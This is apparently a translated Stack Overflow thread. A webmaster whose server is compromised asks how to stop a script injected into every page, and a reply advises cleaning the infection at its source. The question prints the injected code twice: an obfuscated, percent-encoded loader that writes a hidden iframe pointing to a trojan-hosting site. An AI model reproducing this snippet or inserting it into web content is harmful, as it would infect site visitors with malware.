以编程方式停止html/javascript/css中的特定代码块

Cyc*_*one 0 html javascript css antivirus

我网站上的服务器上也有病毒.

病毒会注入恶意代码

<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
Run Code Online (Sandbox Code Playgroud)

在每个服务的单个页面上,它正在由Apache或类似的东西进行预处理,以将其添加到文件的末尾.

我创建了一个测试文件,其代码如下:

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
</body>
</html>
Run Code Online (Sandbox Code Playgroud)

它并不漂亮,但却达到了它的目的.

在浏览器中查看页面时,我明白了

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script> 
</body> 
</html>
Run Code Online (Sandbox Code Playgroud)

可以从www.sagamountain.com/testfile.html查看(警告,此页面已被感染)

我需要以编程方式停止该div和该脚本的执行,因为它是一个iframe到其上有木马的网站.HTML,CSS或JS,我只需要一些方法来阻止JS执行.

它已经显示:无,所以你看不到它,但是如何防止iframe一直加载呢?

谢谢您的帮助!unescape的事情解决了http://ncccnnnc.cn/img/index.php的iframe,这显然是我烦恼的根源.不要去那个网站!

编辑:这是对https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459的跟进#78459

Dav*_*mas 11

对不起,我无法回答你的具体问题,但我认为你是以错误的方式看待这个问题.您需要做的是删除插入病毒的html,您需要做的是与您的web-host/sysadmin交谈,并清除病毒.

治疗症状不能治愈感染.然而,治疗该疾病还将治疗症状以及除去病毒.